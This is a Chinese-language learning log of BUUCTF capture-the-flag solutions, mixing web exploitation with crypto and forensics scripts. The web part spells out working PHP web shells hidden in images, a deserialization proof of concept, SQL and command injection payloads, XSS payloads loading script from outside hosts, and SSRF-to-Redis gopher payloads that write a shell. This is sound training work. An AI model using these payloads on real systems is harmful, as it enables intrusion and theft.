//Description: CTF学习入门笔记。记录学习过程中遇到的问题。
//Create Date: 2025-07-02 10:31:39
//Author: channy
[toc]
[CTF实战:从入门到提升]
题目在 BUUCTF
使用到的工具:
修改请求信息,有Referer
来源、User-Agent
中客户端信息如浏览器等,及X-Forwarded-For
伪造IP只允许本地访问
获取flag后需要把flag{xxx}
整个commit才通过。。。只commit大括号里面的flag内容给我显示错误。。。
最终请求
GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:28483
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:https://Sycsecret.buuoj.cn
X-Forwarded-For:127.0.0.1
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:127.0.0.1
不管用了,需要X-Real-Ip:127.0.0.1
python3 -m pip install -i https://pypi.org/simple/ GitHacker
githacker --url http://0d2b78ce-3914-4c05-8538-063c5b822c38.node5.buuoj.cn:81/.git/ --output-folder ./
flag在index.html下n1book{git_looks_s0_easyfun}
先利用.git拿到php代码
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
变量覆盖,BurpSuite的GET请求直接加参数?yds=flag
即可
GET /?yds=flag HTTP/1.1
Host: 7828c578-72e0-4c87-883f-61a3e2fd8f27.node5.buuoj.cn:81
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
BurpSuite的POST请求需要加上Content-Type: application/x-www-form-urlencoded
text可用php://input传字符串,file可用php://filter/read=convert.Base64-encode/resource=next.php
得到一串
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
暂且记下
类似于SQL注入的思想
GET /?a=a%0a);%0aphpinfo( HTTP/1.1
GET /?a=a%0a);%0aecho%00file_get_contents(%27/flag%27 HTTP/1.1
文件上传类型限制。
修改POST请求中的内容类型后
Content-Type: image/png
界面显示“ThinkPHP V5.1.35 LTS { 十年磨一剑-为API开发设计的高性能框架 }”
PNG头0x89504E47
89504E47
<script language="php">eval($_POST["cmd"])</script>
工具dirsearch
需要python 3.9及以上。
./dirsearch.py -u http://066ef743-ac4c-49bd-a357-ccc1a1ce4f59.node5.buuoj.cn:81/ -e "*"
但显示
Skipped the target due to 429 status code
错误,扫描请求频率过高被服务器限制。--delay 0.1 -t 1
延时加减线程为1.
最终使用命令和结果显示
$ ./dirsearch.py -u http://16137a97-71f1-40c5-81a0-a51295133c93.node5.buuoj.cn:81 -e , --delay 0.1 -t 1 -i 200,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: | HTTP method: GET | Threads: 1 | Wordlist size: 9119
Target: http://16137a97-71f1-40c5-81a0-a51295133c93.node5.buuoj.cn:81/
[14:56:19] Scanning:
[14:58:21] 200 - 216B - /.htaccess
[15:13:50] 200 - 1KB - /favicon.ico
[15:23:23] 200 - 24B - /robots.txt
[15:27:15] 200 - 287B - /upload/
[15:29:49] 200 - 24MB - /www.tar.gz
Task Completed
直接在浏览器地址栏输入http://16137a97-71f1-40c5-81a0-a51295133c93.node5.buuoj.cn:81/www.tar.gz
即可下载文件。
文件代码中搜索upload
可以定位到Register.php和Profile.php两个主要文件。
index.php中显示登录会反序列化cookie
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
图片马GIF头0xGIF89a
GIF89a
<?php @eval($_POST['cmd']);?>
# 或
<script language="php">eval($_POST['cmd']);</script>
或者上传空文件后在Content-Type: 后面修改类型后再加文件内容也可以。
upload.php即POC
<?php
namespace app\web\controller;
class Profile
{
public $checker = 0;
public $filename_tmp = "./upload/e0cd7c28b74327b3bd1472378bdfbfa2/2fffb588e7310cb65c09fd2e21a0e834.png";
public $filename = "./upload/e0cd7c28b74327b3bd1472378bdfbfa2/shell.php";
public $ext = 1;
public $except = array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed = 0;
}
$profile = new Profile();
$register = new Register();
$register->checker = $profile;
echo base64_encode(serialize($register));
?>
$ sudo apt install php7.4-cli
$ php upload.php
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkL2UwY2Q3YzI4Yjc0MzI3YjNiZDE0NzIzNzhiZGZiZmEyLzJmZmZiNTg4ZTczMTBjYjY1YzA5ZmQyZTIxYTBlODM0LnBuZyI7czo4OiJmaWxlbmFtZSI7czo1MToiLi91cGxvYWQvZTBjZDdjMjhiNzQzMjdiM2JkMTQ3MjM3OGJkZmJmYTIvc2hlbGwucGhwIjtzOjM6ImV4dCI7aToxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30=
刷新页面并把上面的payload放到cookie中多试几次,即可以看到upload/下原上传的图像被重命名了POC中的filename
使用AntSword连接重命名后的文件http://xxx.php
,密码是前面图片马中<?php @eval($_POST['cmd']);?>
的变量名cmd
,连接成功。
在根目录下找到/flag
>>> base64.b64encode(b'flag.php').decode()
'ZmxhZy5waHA='
$ cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
使用BurpSuite抓包Repeater空格需要转义%0a -> space
数据库
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,group_concat(schema_name)%0afrom%0ainformation_schema.schemata;# HTTP/1.1
{"title":"1","content":"information_schema,performance_schema,test,mysql,ctftraining,news"}
数据表
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='ctftraining';# HTTP/1.1
{"title":"1","content":"FLAG_TABLE,news,users"}
字段
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='ctftraining'%0aand%0atable_name='FLAG_TABLE';# HTTP/1.1
{"title":"1","content":"FLAG_COLUMN"}
值
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,FLAG_COLUMN%0afrom%0actftraining.FLAG_TABLE;# HTTP/1.1
但获取到的是空。。。改获取users
表,用户名和密码登录失败。。。
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='news';# HTTP/1.1
{"title":"1","content":"admin,contents"}
GET /backend/content_detail.php?id=-1%0aunion%0aselect%0a1,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='news'%0aand%0atable_name='admin';# HTTP/1.1
{"title":"1","content":"id,username,password"}
最后拿到用户名admin密码{"title":"1","content":"f22052f1061e5e21b134a749e84bdc1c"}
登录取得flag.
import requests
import time
url = 'http://6bb7f5fc-177b-4897-80ab-a70f04d0ac47.node5.buuoj.cn:81/index.php'
result = ''
# uuid 36位 + flag{}
for i in range(1, 44):
# ascii 0~31:控制字符(不可见,如换行、退格等)
for j in range(32, 128):
time.sleep(0.1)
payload = '(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + ')'
res = requests.post(url, data = {'id': payload})
# print('respond:', res, res.text)
if res.text.find('girl') == -1:
result += chr(j)
print(i, j, chr(j))
break
print(result)
2025年7月访问内网xss已停止服务。。。
书中命令
<img src="tmp.png" onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.buuoj.cn%2FZFnLJY%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));>
var b = document.createElement("sCript"); // 创建一个 script 元素
b.src = "http://xss.buuoj.cn/ZFnLJY"; // 设置外部脚本地址
// 将 script 插入到 <head> 或 <body> 中
(document.getElementsByTagName("HEAD")[0] || document.body).appendChild(b);
选择平台xssjs,创建项目,选择默认模块,选择复制代码
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ujs.ci/yyo';>
但是平台并没有收到期望信息。。。
http://17cf1dbf-a570-4fc2-b02b-f88141cc740d.node5.buuoj.cn:81/?url=http://127.0.0.1
http://127.0.0.1 is inner ip
http://17cf1dbf-a570-4fc2-b02b-f88141cc740d.node5.buuoj.cn:81/?url=http://0.0.0.0/hint.php
http://17cf1dbf-a570-4fc2-b02b-f88141cc740d.node5.buuoj.cn:81/?url=dict://0.0.0.0:6379/
string(39) "-NOAUTH Authentication required. +OK "
原始Redis
auth root
config set dir /var/www/html/
config set dbfilename shell.php
set x <?php phpinfo(); ?>
save
一次URL编码成Gopher
gopher://127.0.0.1:6379/_auth%20root%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%22%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%22%0D%0Asave%0D%0A
二次URL编码
gopher%3A%2F%2F127.0.0.1%3A6379%2F_auth%2520root%250D%250Aconfig%2520set%2520dir%2520%2Fvar%2Fwww%2Fhtml%2F%250D%250Aconfig%2520set%2520dbfilename%2520shell.php%250D%250Aset%2520x%2520%2522%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%2522%250D%250Asave%250D%250A
访问shell.php发现有用。修改成一句话马。
auth root
config set dir /var/www/html/
config set dbfilename shell.php
set x <?php @eval($_POST['cmd']);?>
save
gopher://127.0.0.1:6379/_auth%20root%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%22%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0Asave%0D%0A
gopher%3A%2F%2F127.0.0.1%3A6379%2F_auth%2520root%250D%250Aconfig%2520set%2520dir%2520%2Fvar%2Fwww%2Fhtml%2F%250D%250Aconfig%2520set%2520dbfilename%2520shell.php%250D%250Aset%2520x%2520%2522%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%2522%250D%250Asave%250D%250A
AntSword连接找到/flag即可。
import base64
import re
base16_dic = r'^[A-F0-9]*$'
base32_dic = r'^[A-Z2-7=]*$'
base64_dic = r'^[A-Za-z0-9/+=]*$'
n = 0
s = open('flag_encode.txt', 'rb').read()
while True:
n += 1
code = f"n = {n},"
t = s.decode()
if '{' in t:
print(t)
break
elif re.match(base16_dic, t):
s = base64.b16decode(s)
codestr = code + "base16"
elif re.match(base32_dic, t):
s = base64.b32decode(s)
codestr = code + "base32"
elif re.match(base64_dic, t):
s = base64.b64decode(s)
codestr = code + "base64"
else:
print('......')
print(codestr)
c++11起使用std::shuffle替代std::random_shuffle
方法一:26个字母遍历排列解码看是否通顺,26!种组合方式太多了。。。
方法二:投机取巧,最后的“mljrl{Xv_I_lxiny_er_neja_rDc}”明显是”afctf{}”形式,可以得到四个解码映射:m->a,l->f,j->c,r->t. 两个字母成单词的xl->if/of. xlran->ift??/oft??->often……
方法三:通过词频分析网站。。。
EBCDIC编码
iconv -f IBM-1047 -t UTF-8 '├▄┬ы.txt' -o output.txt
J¾ô5¬ÜCüBÔwllm_is_the_best_team!
óQóQóQóKòܯGAôJ¾ô5¬ÜCüBÔ§D£\BÔAô©3¯K¬ÕóK]SK¨¾Ú~t
ubuntu 20.04下使用iconv解码依旧是乱码。。。
unzip -P "wllm_is_the_best_team!" attachment.zip
ubuntu 20.04下前面三张图打不开。。。
\[p^3 + 1 = (p + 1) * (p^2 - p + 1)\]对于整数分解,可以使用factordb、yafu、Sagemath等工具进行。
'''
('c=', '0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9eL')
('e=', '0x872a335')
#q + q*p^3 =1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586
#qp + q *p^2 = 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594
'''
def extended_gcd(a, b):
if b == 0:
return (a, 1, 0)
else:
gcd, x, y = extended_gcd(b, a % b)
return (gcd, y, x - (a // b) * y)
def modinv(a, m):
"""计算模逆元"""
gcd, x, y = extended_gcd(a, m)
if gcd != 1:
return None # 逆元不存在
else:
return x % m
def solvePQ():
a = 1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586
b = 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594
(res, _, _) = extended_gcd(a, b)
p = b // res
q = res // (p + 1)
return p, q
def calc_keys(p, q):
n = p * q
phi = (p - 1) * (q - 1)
e = 0x872a335
d = modinv(e, phi)
return ((e, n), (d, n))
def decrypt(ciphertext, private_key):
d, n = private_key
print(ciphertext)
message = pow(ciphertext, d, n)
return message.to_bytes((message.bit_length() + 7) // 8, 'big').decode()
if __name__ == '__main__':
p, q = solvePQ()
public_key, private_key = calc_keys(p, q)
message = 0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9e
res = decrypt(message, private_key)
print(res)
下载下来的rar文件,ubuntu 20.04下直接右键‘Extract Here’会解压出几十G的文件并且还在解压,但使用命令行unrar x rar
又正常,原因未知。。。
def initialize(seed):
MT = [0] * 624
MT[0] = seed
for i in range(1, 624):
MT[i] = (1812433253 * (MT[i-1] ^ (MT[i-1] >> 30)) + i) & 0xFFFFFFFF
return MT
def twist(MT):
for i in range(624):
y = (MT[i] & 0x80000000) + (MT[(i+1)%624] & 0x7FFFFFFF)
MT[i] = MT[(i + 397) % 624] ^ (y >> 1)
if y % 2 != 0:
MT[i] ^= 0x9908B0DF
def extract_number(MT, index):
if index == 0:
twist(MT) # 每 624 次调用后重新扭转
y = MT[index]
y ^= (y >> 11)
y ^= ((y << 7) & 0x9D2C5680)
y ^= ((y << 15) & 0xEFC60000)
y ^= (y >> 18)
return y
from hashlib import md5
# y ^= (y >> bit)
def restoreRight(y, rightmoven):
curbit = rightmoven
resulty = y
while curbit < 32:
moven = min(32 - curbit, rightmoven)
mid = resulty >> rightmoven
resulty = y ^ mid
curbit += moven
return resulty
def restoreLeft(y, leftmoven, A):
curbit = leftmoven
resulty = y
while curbit < 32:
moven = min(32 - curbit, leftmoven)
mid = resulty << leftmoven
resulty = y ^ (mid & A)
curbit += moven
return resulty
# 32bit
def restore_number(y):
# y ^= (y >> 18)
y = restoreRight(y, 18)
# y ^= ((y << 15) & 0xEFC60000)
y = restoreLeft(y, 15, 0xEFC60000)
# y ^= ((y << 7) & 0x9D2C5680)
y = restoreLeft(y, 7, 0x9D2C5680)
# y ^= (y >> 11)
y = restoreRight(y, 11)
return y
def assert_number(y):
y ^= (y >> 11)
y ^= ((y << 7) & 0x9D2C5680)
y ^= ((y << 15) & 0xEFC60000)
y ^= (y >> 18)
return y
def recalc():
MT = []
file = open("random.txt", "r")
for _ in range(104):
str32 = file.readline()
num = (int)(str32)
res = restore_number(num)
MT.append(res)
str64 = file.readline()
num = (int)(str64)
res = restore_number(num & ((1 << 32) - 1))
MT.append(res)
res = restore_number((num >> 32))
MT.append(res)
str96 = file.readline()
num = (int)(str96)
res = restore_number(num & ((1 << 32) - 1))
MT.append(res)
num >>= 32
res = restore_number(num & ((1 << 32) - 1))
MT.append(res)
res = restore_number((num >> 32))
MT.append(res)
res = extract_number(MT, 0)
flag = md5(str(res).encode()).hexdigest()
print(flag)
if __name__ == '__main__':
recalc()
md5(key + param + scan)
则action=scan下param=flag.txtread获取到的sign就是action=readscan下param=flag.txt的sign
def method1():
import requests
# param=flag.txtread -> sign
url = 'http://13f3662d-d04c-481d-aae0-44fcebb4e36a.node5.buuoj.cn:81/De1ta?param=flag.txt'
cookie = {
'sign': '2773787e4b7f1e4ea8cbd60bdaff5f3f',
'action': 'readscan'
}
responds = requests.get(url=url, cookies=cookie)
print(responds.text)
def method2():
import hashpumpy
origin_hash = '129c0841cb12ef2e91a78a0676471f03'
key_len = 16
message = 'flag.txtscan'
append = 'read'
new_hash, new_message = hashpumpy.hashpump(origin_hash, message, append, key_len)
print(new_hash)
print(new_message)
from urllib.parse import quote
print(quote(new_message)[8:])
import requests
url = 'http://13f3662d-d04c-481d-aae0-44fcebb4e36a.node5.buuoj.cn:81/De1ta?param=flag.txt'
cookie = {
'sign': new_hash,
'action': quote(new_message)[8:]
}
responds = requests.get(url=url, cookies=cookie)
print(responds.text)
JPG文件头FFD8FFE0
,文件尾FFD9
。zip文件头504B0304
。
使用unzip解压失败,说是版本问题?改用7z x sub.zip -p"ctf_NISA_2022"
才解压成功。
用Audacity打开和书上的完全不一样。。。既看不出来左右声道反相也看不出来其它信息,暂时放弃。。。
视频转换成图像帧
ffmpeg -i attachment.mp4 -qscale:v 1 -qmin 1 -vf "fps=30.0" "./%04d.jpg"
对每一帧识别二维码,但pyzbar和opencv都只能识别到唯一一帧0246.jpg
的内容key3:play
,其它几帧有二维码的都识别失败。直接用手机微信扫码是可以识别成功的,可能换成wechat的cv2.wechat_qrcode_WeChatQRCode
可能能识别,未再尝试。
from pyzbar.pyzbar import decode
import cv2
def scan_qr_code(frame, draw = False, show = False):
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
decoded_objects = decode(frame)
res = []
if len(decoded_objects) <= 0:
return res
for obj in decoded_objects:
res.append(obj.data.decode('utf-8'))
print("QR Code Data:", obj.data.decode('utf-8'))
if draw:
points = obj.polygon
if len(points) == 4:
pts = [(point.x, point.y) for point in points]
for i in range(4):
cv2.line(frame, pts[i], pts[(i+1) % 4], (0, 255, 0), 3)
if show:
cv2.imshow("QR Code Scanner", frame)
cv2.waitKey(10)
cv2.destroyAllWindows()
return res
def scan_each_frame(video_path):
cap = cv2.VideoCapture(video_path)
frame_id = 0
while cap.isOpened():
ret, frame = cap.read()
if not ret:
break
res = scan_qr_code(frame)
if len(res) > 0:
print(frame_id, res)
frame_id += 1
if __name__ == '__main__':
scan_each_frame('./attachment.mp4')
文件后面的数据分析,根据第二部分密码学的内容base64_dic = r'^[A-Za-z0-9/+=]*$'
判断是base64编码,转换后发现是rar文件,但解压有密码(即上面二维码识别到的内容)
import base64
a = 'UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA=='
res = base64.b64decode(a)
# b'Rar!\x1a\x07\x01\x003\x92\xb5\xe5\n\x01\x05\x06\x00\x05\x01\x01\x80\x80\x00\xe1\xed\xe99U\x02\x03<\xb0\x00\x04\xa1\x00 K\xecR\x91\x80\x03\x00\x08flag.txt0\x01\x00\x03\x0f\x1e7\x1f#\x9d,\xc1\x96|!=XK\x01f\x9a\xc0%\n\x01IYV\x90\x93R\xf53\xf9v\xed\xa4\xc8\x9d\xbb\xe4\x9c\xec6\x8d\xbd\x06t\x99\n\x03\x02\xde\x1f\x94\x15_i\xd5\x01\x1f&@O=\x1e\x8c\xad\x8c\x17\x9a\xc3\x023>\xbb\x0c\xdf\xe4\xe6\xedMc\x0f`k\x9d\xda\xf3\x7f\xc1\xfe\xdd\x86\xf4Y\x06\xfc\x82\x13\xb9\x1f\xbd\x80\x8b\xeb\xfc\xb1\x1dwVQ\x03\x05\x04\x00'
file = open("res.rar", "wb")
file.write(res)
file.close()
docx文件实质上也是一种压缩包文件,可以修改其扩展名为zip并进行解压
zip文件头504B0304
,数据头504B0102
。
“分析一下发现了一些可疑流量,GET传入的参数中有个kcahsni参数”??? 容易证明?同理可证?很明显?显而易见?
tshark -r '/home/channy/Downloads/atta.NISACTF_2022flag' -T fields -e usb.capdata > usbdata.txt
#-*- coding: utf-8 -*-
mappings = {
0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0a:"G",
0x0b:"H", 0x0c:"I", 0x0d:"J", 0x0e:"K", 0x0f:"L", 0x10:"M", 0x11:"N",
0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",
0x19:"V", 0x1a:"W", 0x1b:"X", 0x1c:"Y", 0x1d:"Z", 0x1e:"1", 0x1f:"@",
0x20:"#", 0x21:"$", 0x22:"%", 0x23:"^", 0x24:"&", 0x25:"*", 0x26:"(",
0x27:")", 0x28:"<RET>", 0x29:"<ESC>", 0x2a:"<DEL>", 0x2b:"\t", 0x2c:"<SPACE>",
0x2d:"_", 0x2e:"+", 0x2f:"{", 0x30:"}", 0x31:"|", 0x32:"<NON>", 0x34:":",
0x35:"<GA>", 0x36:"<", 0x37:">", 0x38:"?", 0x39:"<CAP>", 0x3a:"<F1>",
0x3b:"<F2>", 0x3c:"<F3>", 0x3d:"<F4>", 0x3e:"<F5>", 0x3f:"<F6>", 0x40:"<F7>",
0x41:"<F8>", 0x42:"<F9>", 0x43:"<F10>", 0x44:"<F11>", 0x45:"<F12>"
}
result = ""
with open('usbdata.txt', 'r') as f:
for line in f.readlines():
line = line.strip()
# Process formats like "000012000000000" (16 chars)
if len(line) == 16:
s = int(line[4:6], 16)
# Process formats like "00:00:12:00:00:00:00:00" (24 chars)
elif len(line) == 24:
s = int(line[6:8], 16)
else:
continue
if s != 0:
result += mappings.get(s, "<?>") # Using get() with default for unmapped codes
print(result)
# UJKONJK<TFVBHYHJIPOKRDCVGRDCVGPOKQWSZTFVBHUJKOWAZXDQASEWSDRPOKXDFVIKLPNJKWSDRRFGYRDCVGUHNMKBHJMYHJI
extundelete attachment.img --restore-all
flag{fugly_cats_need_luv_2}
后面的基本上都是理论知识没有实战了。